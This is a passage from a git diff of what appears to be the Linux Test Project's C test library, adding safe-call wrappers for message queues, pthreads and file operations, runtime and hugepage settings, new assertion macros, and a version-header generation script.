*const tst_rand_data; + +#endif diff --git a/include/tst_safe_file_at.h b/include/tst_safe_file_at.h index 8df34227..a1aa19fa 100755 --- a/include/tst_safe_file_at.h +++ b/include/tst_safe_file_at.h @@ -7,6 +7,8 @@ #define TST_SAFE_FILE_AT_H #include +#include +#include #include #define SAFE_OPENAT(dirfd, path, oflags, ...) \ @@ -25,6 +27,13 @@ #define SAFE_UNLINKAT(dirfd, path, flags) \ safe_unlinkat(__FILE__, __LINE__, (dirfd), (path), (flags)) +#define SAFE_FCHOWNAT(dirfd, path, owner, group, flags) \ + safe_fchownat(__FILE__, __LINE__, \ + (dirfd), (path), (owner), (group), (flags)) + +#define SAFE_FSTATAT(dirfd, path, statbuf, flags) \ + safe_fstatat(__FILE__, __LINE__, (dirfd), (path), (statbuf), (flags)) + const char *tst_decode_fd(const int fd) __attribute__((warn_unused_result)); @@ -58,4 +67,13 @@ int safe_unlinkat(const char *const file, const int lineno, const int dirfd, const char *const path, const int flags) __attribute__ ((nonnull)); +int safe_fchownat(const char *const file, const int lineno, + const int dirfd, const char *const path, uid_t owner, + gid_t group, int flags) + __attribute__ ((nonnull)); + +int safe_fstatat(const char *const file, const int lineno, + const int dirfd, const char *const path, struct stat *statbuf, + int flags) + __attribute__ ((nonnull)); #endif diff --git a/include/tst_safe_macros.h b/include/tst_safe_macros.h index d99441c8..0cf3d787 100755 --- a/include/tst_safe_macros.h +++ b/include/tst_safe_macros.h @@ -24,6 +24,11 @@ #include "safe_macros_fn.h" #include "tst_cmd.h" +int safe_access(const char *filename, const int lineno, const char *pathname, + int mode); +#define SAFE_ACCESS(path, mode) \ + safe_access(__FILE__, __LINE__, (path), (mode)) + #define SAFE_BASENAME(path) \ safe_basename(__FILE__, __LINE__, NULL, (path)) @@ -181,6 +186,9 @@ int safe_getgroups(const char *file, const int lineno, int size, gid_t list[]); #define SAFE_STRTOUL(str, min, max) \ safe_strtoul(__FILE__, __LINE__, NULL, (str), (min), (max)) +#define SAFE_STRTOF(str, min, max) \ + safe_strtof(__FILE__, __LINE__, NULL, (str), (min), (max)) + #define SAFE_SYSCONF(name) \ safe_sysconf(__FILE__, __LINE__, NULL, name) @@ -293,6 +301,23 @@ static inline int safe_ftruncate(const char *file, const int lineno, #define SAFE_FTRUNCATE(fd, length) \ safe_ftruncate(__FILE__, __LINE__, (fd), (length)) +static inline int safe_posix_fadvise(const char *file, const int lineno, + int fd, off_t offset, off_t len, int advice) +{ + int rval; + + rval = posix_fadvise(fd, offset, len, advice); + + if (rval) + tst_brk_(file, lineno, TBROK, + "posix_fadvise(%d,%ld,%ld,%d) failed: %s", + fd, (long)offset, (long)len, advice, tst_strerrno(rval)); + + return rval; +} +#define SAFE_POSIX_FADVISE(fd, offset, len, advice) \ + safe_posix_fadvise(__FILE__, __LINE__, (fd), (offset), (len), (advice)) + static inline int safe_truncate(const char *file, const int lineno, const char *path, off_t length) { @@ -602,6 +627,11 @@ int safe_personality(const char *filename, unsigned int lineno, unsigned long persona); #define SAFE_PERSONALITY(persona) safe_personality(__FILE__, __LINE__, persona) +int safe_pidfd_open(const char *filename, const int lineno, pid_t pid, + unsigned int flags); +#define SAFE_PIDFD_OPEN(pid, flags) \ + safe_pidfd_open(__FILE__, __LINE__, (pid), (flags)) + #define SAFE_SETENV(name, value, overwrite) do { \ if (setenv(name, value, overwrite)) { \ tst_brk_(__FILE__, __LINE__, TBROK | TERRNO, \ diff --git a/include/tst_safe_net.h b/include/tst_safe_net.h index e85b79a3..98f0256f 100755 --- a/include/tst_safe_net.h +++ b/include/tst_safe_net.h @@ -68,6 +68,9 @@ #define SAFE_GETHOSTNAME(name, size) \ safe_gethostname(__FILE__, __LINE__, name, size) +#define SAFE_SETHOSTNAME(name, size) \ + safe_sethostname(__FILE__, __LINE__, name, size) + #define TST_GETSOCKPORT(sockfd) \ tst_getsockport(__FILE__, __LINE__, sockfd) diff --git a/include/tst_safe_posix_ipc.h b/include/tst_safe_posix_ipc.h index b60c12c9..e7892f2a 100755 --- a/include/tst_safe_posix_ipc.h +++ b/include/tst_safe_posix_ipc.h @@ -1,6 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2017-2019 Petr Vorel pvorel@suse.cz + * Copyright (C) 2022 Andrea Cervesato andrea.cervesato@suse.com */ #ifndef TST_SAFE_POSIX_IPC_H__ @@ -12,6 +13,18 @@ #define SAFE_MQ_OPEN(pathname, oflags, ...) \ safe_mq_open(__FILE__, __LINE__, (pathname), (oflags), ##__VA_ARGS__) +#define SAFE_MQ_CLOSE(mqdes) \ + safe_mq_close(__FILE__, __LINE__, (mqdes)) + +#define SAFE_MQ_NOTIFY(mqdes, sevp) \ + safe_mq_notify(__FILE__, __LINE__, (mqdes), (sevp)) + +#define SAFE_MQ_SEND(mqdes, msg_ptr, msg_len, msg_prio) \ + safe_mq_send(__FILE__, __LINE__, (mqdes), (msg_ptr), (msg_len), (msg_prio)) + +#define SAFE_MQ_UNLINK(name) \ + safe_mq_unlink(__FILE__, __LINE__, (name)) + static inline int safe_mq_open(const char *file, const int lineno, const char *pathname, int oflags, ...) { @@ -41,6 +54,75 @@ static inline int safe_mq_open(const char *file, const int lineno, tst_brk_(file, lineno, TBROK | TERRNO, "mq_open(%s,%d,%04o,%p) failed", pathname, oflags, mode, attr); + } else if (rval < 0) { + tst_brk_(file, lineno, TBROK | TERRNO, + "Invalid mq_open(%s) return value %d", pathname, rval); + } + + return rval; +} + +static inline int safe_mq_close(const char *file, const int lineno, + mqd_t __mqdes) +{ + int rval; + + rval = mq_close(__mqdes); + + if (rval == -1) { + tst_brk_(file, lineno, TBROK | TERRNO, + "mq_close(%d) failed", __mqdes); + } else if (rval < 0) { + tst_brk_(file, lineno, TBROK | TERRNO, + "Invalid mq_close(%d) return value %d", __mqdes, rval); + } + + return rval; +} + +static inline int safe_mq_unlink(const char *file, const int lineno, + const char* name) +{ + int rval; + + rval = mq_unlink(name); + + if (rval == -1) { + tst_brk_(file, lineno, TBROK | TERRNO, + "mq_unlink(%s) failed", name); + } else if (rval < 0) { + tst_brk_(file, lineno, TBROK | TERRNO, + "Invalid mq_unlink(%s) return value %d", name, rval); + } + + return rval; +} + +static inline int safe_mq_notify(const char *file, const int lineno, + mqd_t mqdes, const struct sigevent *sevp) +{ + int rval; + + rval = mq_notify(mqdes, sevp); + + if (rval == -1) + tst_brk_(file, lineno, TBROK | TERRNO, "mq_notify() failed"); + + return rval; +} + +static inline int safe_mq_send(const char *file, const int lineno, + mqd_t mqdes, const char *msg_ptr, + size_t msg_len, unsigned int msg_prio) +{ + int rval; + + rval = mq_send(mqdes, msg_ptr, msg_len, msg_prio); + + if (rval == -1) { + tst_brk_(file, lineno, TBROK | TERRNO, + "mq_send(%d,%s,%zu,%d) failed", mqdes, msg_ptr, + msg_len, msg_prio); } return rval; diff --git a/include/tst_safe_pthread.h b/include/tst_safe_pthread.h index 0c6d4d20..360b561b 100755 --- a/include/tst_safe_pthread.h +++ b/include/tst_safe_pthread.h @@ -30,4 +30,78 @@ int safe_pthread_join(const char *file, const int lineno, #define SAFE_PTHREAD_JOIN(thread_id, retval) \ safe_pthread_join(__FILE__, __LINE__, thread_id, retval) +int safe_pthread_barrier_wait(const char *file, const int lineno, + pthread_barrier_t *barrier); +#define SAFE_PTHREAD_BARRIER_WAIT(barrier) \ + safe_pthread_barrier_wait(__FILE__, __LINE__, barrier); + +int safe_pthread_barrier_destroy(const char *file, const int lineno, + pthread_barrier_t *barrier); +#define SAFE_PTHREAD_BARRIER_DESTROY(barrier) \ + safe_pthread_barrier_destroy(__FILE__, __LINE__, barrier); + +int safe_pthread_barrier_init(const char *file, const int lineno, + pthread_barrier_t *barrier, + const pthread_barrierattr_t *attr, + unsigned count); +#define SAFE_PTHREAD_BARRIER_INIT(barrier, attr, count) \ + safe_pthread_barrier_init(__FILE__, __LINE__, barrier, attr, count); + +int safe_pthread_cancel(const char *file, const int lineno, + pthread_t thread_id); +#define SAFE_PTHREAD_CANCEL(thread_id) \ + safe_pthread_cancel(__FILE__, __LINE__, thread_id); + +int safe_pthread_mutexattr_init(const char *file, const int lineno, + pthread_mutexattr_t *attr); +#define SAFE_PTHREAD_MUTEXATTR_INIT(attr) \ + safe_pthread_mutexattr_init(__FILE__, __LINE__, (attr)) + +int safe_pthread_mutexattr_destroy(const char *file, const int lineno, + pthread_mutexattr_t *attr); +#define SAFE_PTHREAD_MUTEXATTR_DESTROY(attr) \ + safe_pthread_mutexattr_destroy(__FILE__, __LINE__, (attr)) + +int safe_pthread_mutexattr_settype(const char *file, const int lineno, + pthread_mutexattr_t *attr, int type); +#define SAFE_PTHREAD_MUTEXATTR_SETTYPE(attr, type) \ + safe_pthread_mutexattr_settype(__FILE__, __LINE__, (attr), (type)) + +int safe_pthread_mutex_init(const char *file, const int lineno, + pthread_mutex_t *mutex, const pthread_mutexattr_t *attr); +#define SAFE_PTHREAD_MUTEX_INIT(mutex, attr) \ + safe_pthread_mutex_init(__FILE__, __LINE__, (mutex), (attr)) + +int safe_pthread_mutex_destroy(const char *file, const int lineno, + pthread_mutex_t *mutex); +#define SAFE_PTHREAD_MUTEX_DESTROY(mutex) \ + safe_pthread_mutex_destroy(__FILE__, __LINE__, (mutex)) + +int safe_pthread_mutex_lock(const char *file, const int lineno, + pthread_mutex_t *mutex); +#define SAFE_PTHREAD_MUTEX_LOCK(mutex) \ + safe_pthread_mutex_lock(__FILE__, __LINE__, (mutex)) + +/* Terminates the test on any error other than EBUSY */ +int safe_pthread_mutex_trylock(const char *file, const int lineno, + pthread_mutex_t *mutex); +#define SAFE_PTHREAD_MUTEX_TRYLOCK(mutex) \ + safe_pthread_mutex_trylock(__FILE__, __LINE__, (mutex)) + +/* Terminates the test on any error other than ETIMEDOUT */ +int safe_pthread_mutex_timedlock(const char *file, const int lineno, + pthread_mutex_t *mutex, const struct timespec *abstime); +#define SAFE_PTHREAD_MUTEX_TIMEDLOCK(mutex, abstime) \ + safe_pthread_mutex_timedlock(__FILE__, __LINE__, (mutex), (abstime)) + +int safe_pthread_mutex_unlock(const char *file, const int lineno, + pthread_mutex_t *mutex); +#define SAFE_PTHREAD_MUTEX_UNLOCK(mutex) \ + safe_pthread_mutex_unlock(__FILE__, __LINE__, (mutex)) + +int safe_pthread_kill(const char *file, const int lineno, + pthread_t thread, int sig); +#define SAFE_PTHREAD_KILL(thread, sig) \ + safe_pthread_kill(__FILE__, __LINE__, (thread), (sig)) + #endif /* TST_SAFE_PTHREAD_H__ */ diff --git a/include/tst_sys_conf.h b/include/tst_sys_conf.h index 323e29a2..4c85767b 100755 --- a/include/tst_sys_conf.h +++ b/include/tst_sys_conf.h @@ -5,14 +5,26 @@ #ifndef TST_SYS_CONF_H__ #define TST_SYS_CONF_H__ -struct tst_sys_conf { - char path[PATH_MAX]; - char value[PATH_MAX]; - struct tst_sys_conf *next; +#define TST_SR_TCONF_MISSING 0x0 +#define TST_SR_TBROK_MISSING 0x1 +#define TST_SR_SKIP_MISSING 0x2 +#define TST_SR_TCONF_RO 0x0 +#define TST_SR_TBROK_RO 0x4 +#define TST_SR_SKIP_RO 0x8 +#define TST_SR_IGNORE_ERR 0x10 + +#define TST_SR_TCONF (TST_SR_TCONF_MISSING | TST_SR_TCONF_RO) +#define TST_SR_TBROK (TST_SR_TBROK_MISSING | TST_SR_TBROK_RO) +#define TST_SR_SKIP (TST_SR_SKIP_MISSING | TST_SR_SKIP_RO) + +struct tst_path_val { + const char *path; + const char *val; + unsigned int flags; }; -int tst_sys_conf_save_str(const char *path, const char *value); -int tst_sys_conf_save(const char *path); +void tst_sys_conf_save_str(const char *path, const char *value); +int tst_sys_conf_save(const struct tst_path_val *conf); void tst_sys_conf_restore(int verbose); void tst_sys_conf_dump(void); diff --git a/include/tst_test.h b/include/tst_test.h index 450ddf08..75c2109b 100755 --- a/include/tst_test.h +++ b/include/tst_test.h @@ -95,10 +95,23 @@ pid_t safe_fork(const char *filename, unsigned int lineno); ({int ret = expr; \ ret != 0 ? tst_res(TINFO, #expr " failed"), ret : ret; }) \ +/* + * Functions to convert ERRNO to its name and SIGNAL to its name. + */ +const char *tst_strerrno(int err); +const char *tst_strsig(int sig); +/* + * Returns string describing status as returned by wait(). + * + * BEWARE: Not thread safe. + */ +const char *tst_strstatus(int status); + #include "tst_safe_macros.h" #include "tst_safe_file_ops.h" #include "tst_safe_net.h" #include "tst_clone.h" +#include "tst_cgroup.h" /* * Wait for all children and exit with TBROK if @@ -133,6 +146,8 @@ extern unsigned int tst_variant; #define TST_NO_HUGEPAGES ((unsigned long)-1) +#define TST_UNLIMITED_RUNTIME (-1) + struct tst_test { /* number of tests available in test() function */ unsigned int tcnt; @@ -162,40 +177,64 @@ struct tst_test { int child_needs_reinit:1; int needs_devfs:1; int restore_wallclock:1; + /* * If set the test function will be executed for all available - * filesystems and the current filesytem type would be set in the + * filesystems and the current filesystem type would be set in the * tst_device->fs_type. * * The test setup and cleanup are executed before/after __EACH__ call * to the test function. */ int all_filesystems:1; + int skip_in_lockdown:1; + int skip_in_secureboot:1; int skip_in_compat:1; /* - * The skip_filesystem is a NULL terminated list of filesystems the + * If set, the hugetlbfs will be mounted at .mntpoint. + */ + int needs_hugetlbfs:1; + + /* + * The skip_filesystems is a NULL terminated list of filesystems the * test does not support. It can also be used to disable whole class of - * filesystems with a special keyworks such as "fuse". + * filesystems with a special keywords such as "fuse". */ const char *const *skip_filesystems; /* Minimum number of online CPU required by the test */ unsigned long min_cpus; + /* Minimum size(MB) of MemAvailable required by the test */ + unsigned long min_mem_avail; + + /* Minimum size(MB) of SwapFree required by the test */ + unsigned long min_swap_avail; + /* - * If set non-zero number of request_hugepages, test will try to reserve the - * expected number of hugepage for testing in setup phase. If system does not - * have enough hpage for using, it will try the best to reserve 80% available - * number of hpages. With success test stores the reserved hugepage number in - * 'tst_hugepages. For the system without hugetlb supporting, variable - * 'tst_hugepages' will be set to 0. If the hugepage number needs to be set to - * 0 on supported hugetlb system, please use '.request_hugepages = TST_NO_HUGEPAGES'. + * Two policies for reserving hugepage: + * + * TST_REQUEST: + * It will try the best to reserve available huge pages and return the number + * of available hugepages in tst_hugepages, which may be 0 if hugepages are + * not supported at all. + * + * TST_NEEDS: + * This is an enforced requirement, LTP should strictly do hpages applying and + * guarantee the 'HugePages_Free' no less than pages which makes that test can + * use these specified numbers correctly. Otherwise, test exits with TCONF if + * the attempt to reserve hugepages fails or reserves less than requested. + * + * With success test stores the reserved hugepage number in 'tst_hugepages. For + * the system without hugetlb supporting, variable 'tst_hugepages' will be set to 0. + * If the hugepage number needs to be set to 0 on supported hugetlb system, please + * use '.hugepages = {TST_NO_HUGEPAGES}'. * * Also, we do cleanup and restore work for the hpages resetting automatically. */ - unsigned long request_hugepages; + struct tst_hugepage hugepages; /* * If set to non-zero, call tst_taint_init(taint_check) during setup @@ -230,8 +269,18 @@ struct tst_test { unsigned int mnt_flags; void *mnt_data; - /* override default timeout per test run, disabled == -1 */ - int timeout; + /* + * Maximal test runtime in seconds. + * + * Any test that runs for more than a second or two should set this and + * also use tst_remaining_runtime() to exit when runtime was used up. + * Tests may finish sooner, for example if requested number of + * iterations was reached before the runtime runs out. + * + * If test runtime cannot be know in advance it should be set to + * TST_UNLIMITED_RUNTIME. + */ + int max_runtime; void (*setup)(void); void (*cleanup)(void); @@ -252,10 +301,10 @@ struct tst_test { const char * const *needs_drivers; /* - * NULL terminated array of (/proc, /sys) files to save + * {NULL, NULL} terminated array of (/proc, /sys) files to save * before setup and restore after cleanup */ - const char * const *save_restore; + const struct tst_path_val *save_restore; /* * NULL terminated array of kernel config options required for the @@ -264,12 +313,12 @@ struct tst_test { const char *const *needs_kconfigs; /* - * NULL-terminated array to be allocated buffers. + * {NULL, NULL} terminated array to be allocated buffers. */ struct tst_buffers *bufs; /* - * NULL-terminated array of capability settings + * {NULL, NULL} terminated array of capability settings */ struct tst_cap *caps; @@ -280,6 +329,12 @@ struct tst_test { /* NULL terminated array of required commands */ const char *const *needs_cmds; + + /* Requires a particular CGroup API version. */ + const enum tst_cg_ver needs_cgroup_ver; + + /* {} terminated array of required CGroup controllers */ + const char *const *needs_cgroup_ctrls; }; /* @@ -297,28 +352,46 @@ void tst_run_tcases(int argc, char *argv[], struct tst_test *self) */ void tst_reinit(void); +unsigned int tst_multiply_timeout(unsigned int timeout); + /* - * Functions to convert ERRNO to its name and SIGNAL to its name. - */ -const char *tst_strerrno(int err); -const char *tst_strsig(int sig); -/* - * Returns string describing status as returned by wait(). + * Returns remaining test runtime. Test that runs for more than a few seconds + * should check if they should exit by calling this function regularly. * - * BEWARE: Not thread safe. + * The function returns remaining runtime in seconds. If runtime was used up + * zero is returned. */ -const char *tst_strstatus(int status); +unsigned int tst_remaining_runtime(void); -unsigned int tst_timeout_remaining(void); -unsigned int tst_multiply_timeout(unsigned int timeout); -void tst_set_timeout(int timeout); +/* + * Sets maximal test runtime in seconds. + */ +void tst_set_max_runtime(int max_runtime); +/* + * Create and open a random file inside the given dir path. + * It unlinks the file after opening and return file descriptor. + */ +int tst_creat_unlinked(const char *path, int flags); /* * Returns path to the test temporary directory in a newly allocated buffer. */ char *tst_get_tmpdir(void); +/* + * Returns path to the test temporary directory root (TMPDIR). + */ +const char *tst_get_tmpdir_root(void); + +/* + * Validates exit status of child processes + */ +int tst_validate_children_(const char *file, const int lineno, + unsigned int count); +#define tst_validate_children(child_count) \ + tst_validate_children_(__FILE__, __LINE__, (child_count)) + #ifndef TST_NO_DEFAULT_MAIN static struct tst_test test; diff --git a/include/tst_test_macros.h b/include/tst_test_macros.h index ec8c3852..bd0c491c 100755 --- a/include/tst_test_macros.h +++ b/include/tst_test_macros.h @@ -1,6 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2015-2020 Cyril Hrubis + * Copyright (c) Linux Test Project, 2021-2022 */ #ifndef TST_TEST_MACROS_H__ @@ -50,7 +51,7 @@ extern void *TST_RET_PTR; tst_res_(__FILE__, __LINE__, RES, \ TST_FMT_(TST_2_(dummy, ##__VA_ARGS__, SCALL) FMT, __VA_ARGS__), PAR, PAR2) -#define TST_EXP_POSITIVE_(SCALL, SSCALL, ...) \ +#define TST_EXP_POSITIVE__(SCALL, SSCALL, ...) \ do { \ TEST(SCALL); \ \ @@ -72,37 +73,59 @@ extern void *TST_RET_PTR; \ } while (0) +#define TST_EXP_POSITIVE_(SCALL, ...) \ + ({ \ + TST_EXP_POSITIVE__(SCALL, #SCALL, ##__VA_ARGS__); \ + TST_RET; \ + }) + #define TST_EXP_POSITIVE(SCALL, ...) \ - do { \ - TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__); \ + ({ \ + TST_EXP_POSITIVE__(SCALL, #SCALL, ##__VA_ARGS__); \ \ if (TST_PASS) { \ TST_MSGP_(TPASS, " returned %ld", \ TST_RET, #SCALL, ##__VA_ARGS__); \ } \ - } while (0) + \ + TST_RET; \ + }) #define TST_EXP_FD_SILENT(SCALL, ...) TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__) #define TST_EXP_FD(SCALL, ...) \ - do { \ - TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__); \ + ({ \ + TST_EXP_POSITIVE__(SCALL, #SCALL, ##__VA_ARGS__); \ \ if (TST_PASS) \ TST_MSGP_(TPASS, " returned fd %ld", TST_RET, \ #SCALL, ##__VA_ARGS__); \ - } while (0) + \ + TST_RET; \ + }) + +#define TST_EXP_FD_OR_FAIL(SCALL, ERRNO, ...) \ + ({ \ + if (ERRNO) \ + TST_EXP_FAIL(SCALL, ERRNO, ##__VA_ARGS__); \ + else \ + TST_EXP_FD(SCALL, ##__VA_ARGS__); \ + \ + TST_RET; \ + }) #define TST_EXP_PID_SILENT(SCALL, ...) TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__) #define TST_EXP_PID(SCALL, ...) \ - do { \ - TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__); \ + ({ \ + TST_EXP_POSITIVE__(SCALL, #SCALL, ##__VA_ARGS__); \ \ if (TST_PASS) \ TST_MSGP_(TPASS, " returned pid %ld", TST_RET, \ #SCALL, ##__VA_ARGS__); \ - } while (0) + \ + TST_RET; \ + }) #define TST_EXP_VAL_SILENT_(SCALL, VAL, SSCALL, ...) \ do { \ @@ -163,7 +186,7 @@ extern void *TST_RET_PTR; TST_MSG_(TPASS, " passed", #SCALL, ##__VA_ARGS__); \ } while (0) \ -#define TST_EXP_FAIL_(PASS_COND, SCALL, SSCALL, ERRNO, ...) \ +#define TST_EXP_FAIL_SILENT_(PASS_COND, SCALL, SSCALL, ERRNO, ...) \ do { \ TEST(SCALL); \ \ @@ -181,8 +204,6 @@ extern void *TST_RET_PTR; } \ \ if (TST_ERR == (ERRNO)) { \ - TST_MSG_(TPASS | TTERRNO, " ", \ - SSCALL, ##__VA_ARGS__); \ TST_PASS = 1; \ } else { \ TST_MSGP_(TFAIL | TTERRNO, " expected %s", \ @@ -191,11 +212,54 @@ extern void *TST_RET_PTR; } \ } while (0) -#define TST_EXP_FAIL(SCALL, ERRNO, ...) TST_EXP_FAIL_(TST_RET == 0, SCALL, #SCALL, ERRNO, ##__VA_ARGS__) +#define TST_EXP_FAIL(SCALL, ERRNO, ...) \ + do { \ + TST_EXP_FAIL_SILENT_(TST_RET == 0, SCALL, #SCALL, \ + ERRNO, ##__VA_ARGS__); \ + if (TST_PASS) \ + TST_MSG_(TPASS | TTERRNO, " ", #SCALL, ##__VA_ARGS__); \ + } while (0) + +#define TST_EXP_FAIL2(SCALL, ERRNO, ...) \ + do { \ + TST_EXP_FAIL_SILENT_(TST_RET >= 0, SCALL, #SCALL, \ + ERRNO, ##__VA_ARGS__); \ + if (TST_PASS) \ + TST_MSG_(TPASS | TTERRNO, " ", #SCALL, ##__VA_ARGS__); \ + } while (0) -#define TST_EXP_FAIL2(SCALL, ERRNO, ...) TST_EXP_FAIL_(TST_RET >= 0, SCALL, #SCALL, ERRNO, ##__VA_ARGS__) +#define TST_EXP_FAIL_SILENT(SCALL, ERRNO, ...) \ + TST_EXP_FAIL_SILENT_(TST_RET == 0, SCALL, #SCALL, ERRNO, ##__VA_ARGS__) + +#define TST_EXP_FAIL2_SILENT(SCALL, ERRNO, ...) \ + TST_EXP_FAIL_SILENT_(TST_RET >= 0, SCALL, #SCALL, ERRNO, ##__VA_ARGS__) #define TST_EXP_EXPR(EXPR, FMT, ...) \ tst_res_(__FILE__, __LINE__, (EXPR) ? TPASS : TFAIL, "Expect: " FMT, ##__VA_ARGS__); +#define TST_EXP_EQ_(VAL_A, SVAL_A, VAL_B, SVAL_B, TYPE, PFS) do {\ + TYPE tst_tmp_a__ = VAL_A; \ + TYPE tst_tmp_b__ = VAL_B; \ + if (tst_tmp_a__ == tst_tmp_b__) { \ + tst_res_(__FILE__, __LINE__, TPASS, \ + SVAL_A " == " SVAL_B " (" PFS ")", tst_tmp_a__); \ + } else { \ + tst_res_(__FILE__, __LINE__, TFAIL, \ + SVAL_A " (" PFS ") != " SVAL_B " (" PFS ")", \ + tst_tmp_a__, tst_tmp_b__); \ + } \ +} while (0) + +#define TST_EXP_EQ_LI(VAL_A, VAL_B) \ + TST_EXP_EQ_(VAL_A, #VAL_A, VAL_B, #VAL_B, long long, "%lli") + +#define TST_EXP_EQ_LU(VAL_A, VAL_B) \ + TST_EXP_EQ_(VAL_A, #VAL_A, VAL_B, #VAL_B, unsigned long long, "%llu") + +#define TST_EXP_EQ_SZ(VAL_A, VAL_B) \ + TST_EXP_EQ_(VAL_A, #VAL_A, VAL_B, #VAL_B, size_t, "%zu") + +#define TST_EXP_EQ_SSZ(VAL_A, VAL_B) \ + TST_EXP_EQ_(VAL_A, #VAL_A, VAL_B, #VAL_B, ssize_t, "%zi") + #endif /* TST_TEST_MACROS_H__ */ diff --git a/lib/.gitignore b/lib/.gitignore new file mode 100644 index 00000000..eb990116 --- /dev/null +++ b/lib/.gitignore @@ -0,0 +1,3 @@ +/ltp-version.h +/cached-version +/ltp.pc diff --git a/lib/Makefile b/lib/Makefile index 9b9906f2..67169f14 100755 --- a/lib/Makefile +++ b/lib/Makefile @@ -20,6 +20,19 @@ pc_file := $(DESTDIR)/$(datarootdir)/pkgconfig/ltp.pc INSTALL_TARGETS := $(pc_file) +tst_test.o: ltp-version.h + +ltp-version.h: gen_version + +MAKE_TARGETS += gen_version + +.PHONY: gen_version +gen_version: + @echo GEN ltp-version.h + @$(top_srcdir)/lib/gen_version.sh + +CLEAN_TARGETS += ltp-version.h cached-version + $(pc_file): test -d "$(@D)" || mkdir -p "$(@D)" install -m $(INSTALL_MODE) "$(builddir)/$(@F)" "$@" diff --git a/lib/README.md b/lib/README.md index cc7f706d..ccb1cf1d 100755 --- a/lib/README.md +++ b/lib/README.md @@ -102,7 +102,7 @@ we did in setup(). Once the test process exits or leaves the run() or run\_all() function the test library wakes up from the waitpid() call, and checks if the test process -exitted normally. +exited normally. Once the testrun is finished the test library does a cleanup() as well to clean up resources set up in the test library setup(), reports test results and diff --git a/lib/cloner.c b/lib/cloner.c index 11401f23..95954f6d 100755 --- a/lib/cloner.c +++ b/lib/cloner.c @@ -50,11 +50,6 @@ extern int __clone2(int (*fn) (void *arg), void *child_stack_base, pid_t *parent_tid, void *tls, pid_t *child_tid); #endif -#ifndef CLONE_SUPPORTS_7_ARGS -# define clone(fn, stack, flags, arg, ptid, tls, ctid) \ - clone(fn, stack, flags, arg) -#endif - /* * ltp_clone: wrapper for clone to hide the architecture dependencies. * 1. hppa takes bottom of stack and no stacksize (stack grows up) @@ -109,12 +104,7 @@ int ltp_clone7(unsigned long flags, int (*fn)(void *arg), void *arg, ctid = va_arg(arg_clone, pid_t *); va_end(arg_clone); -#ifdef CLONE_SUPPORTS_7_ARGS return ltp_clone_(flags, fn, arg, stack_size, stack, ptid, tls, ctid); -#else - errno = ENOSYS; - return -1; -#endif } /* diff --git a/lib/gen_version.sh b/lib/gen_version.sh new file mode 100644 index 00000000..5d425075 --- /dev/null +++ b/lib/gen_version.sh @@ -0,0 +1,16 @@ +#!/bin/sh + +touch cached-version + +if git describe >/dev/null 2>&1; then + VERSION=`git describe` +else + VERSION=`cat $(dirname $0)/../VERSION` +fi + +CACHED_VERSION=`cat cached-version` + +if [ "$CACHED_VERSION" != "$VERSION" ]; then + echo "$VERSION" > cached-version + echo "#define LTP_VERSION \"$VERSION\"" > ltp-version.h +fi diff --git a/lib/newlib_tests/.gitignore b/lib/newlib_tests/.gitignore index f4414f6a..0256bef7 100755 --- a/lib/newlib_tests/.gitignore +++ b/lib/newlib_tests/.gitignore @@ -7,9 +7,7 @@ test06 test07 test08 test09 -test10 test11 -test12 test13 test14 test15 @@ -22,7 +20,6 @@ tst_safe_fileops tst_res_hexd tst_strstatus tst_print_result -test18 test19 test20 test22 @@ -56,3 +53,6 @@ tst_needs_cmds05 tst_needs_cmds06 tst_needs_cmds07 tst_needs_cmds08 +test_runtime01 +test_runtime02 +test_children_cleanup diff --git a/lib/newlib_tests/Makefile b/lib/newlib_tests/Makefile index 1fbf7649..a915a7f1 100755 --- a/lib/newlib_tests/Makefile +++ b/lib/newlib_tests/Makefile @@ -7,7 +7,7 @@ CFLAGS += -W -Wall LDLIBS += -lltp test08 test09 test15 tst_fuzzy_sync01 tst_fuzzy_sync02 tst_fuzzy_sync03: CFLAGS += -pthread -tst_expiration_timer tst_fuzzy_sync03: LDLIBS += -lrt +tst_expiration_timer tst_fuzzy_sync01 tst_fuzzy_sync02 tst_fuzzy_sync03: LDLIBS += -lrt ifeq ($(ANDROID),1) FILTER_OUT_MAKE_TARGETS += test08 diff --git a/lib/newlib_tests/runtest.sh b/lib/newlib_tests/runtest.sh index 92fd3860..be707fe6 100755 --- a/lib/newlib_tests/runtest.sh +++ b/lib/newlib_tests/runtest.sh @@ -1,13 +1,14 @@ #!/bin/sh # Copyright (c) 2021 Petr Vorel -LTP_C_API_TESTS="${LTP_C_API_TESTS:-test05 test07 test09 test12 test15 test18 +LTP_C_API_TESTS="${LTP_C_API_TESTS:-test05 test07 test09 test15 test_runtime01 tst_needs_cmds01 tst_needs_cmds02 tst_needs_cmds03 tst_needs_cmds06 tst_needs_cmds07 tst_bool_expr test_exec test_timer tst_res_hexd tst_strstatus -tst_fuzzy_sync03 test_zero_hugepage.sh test_kconfig.sh}" +tst_fuzzy_sync03 test_zero_hugepage.sh test_kconfig.sh +test_children_cleanup.sh}" LTP_SHELL_API_TESTS="${LTP_SHELL_API_TESTS:-shell/tst_check_driver.sh -shell/tst_check_kconfig0[1-5].sh shell/net/*.sh}" +shell/tst_check_kconfig0[1-5].sh shell/tst_errexit.sh shell/net/*.sh}" cd $(dirname $0) PATH="$PWD/../../testcases/lib/:$PATH" @@ -47,9 +48,6 @@ runtest_res() local res="$1" shift - tst_color_enabled - local color=$? - printf "runtest " >&2 tst_print_colored $res "$res: " >&2 echo "$@" >&2 diff --git a/lib/newlib_tests/shell/net/tst_ipaddr_un.sh b/lib/newlib_tests/shell/net/tst_ipaddr_un.sh index e7730b8d..76875e2b 100755 --- a/lib/newlib_tests/shell/net/tst_ipaddr_un.sh +++ b/lib/newlib_tests/shell/net/tst_ipaddr_un.sh @@ -13,7 +13,6 @@ TST_NET_SKIP_VARIABLE_INIT=1 IPV4_NET16_UNUSED="10.23" IPV6_NET32_UNUSED="fd00:23" -. tst_net.sh IPV4_DATA=" 0 0|10.23.0.0 @@ -168,4 +167,5 @@ do_test() esac } +. tst_net.sh tst_run diff --git a/lib/newlib_tests/shell/net/tst_rhost_run.sh b/lib/newlib_tests/shell/net/tst_rhost_run.sh index 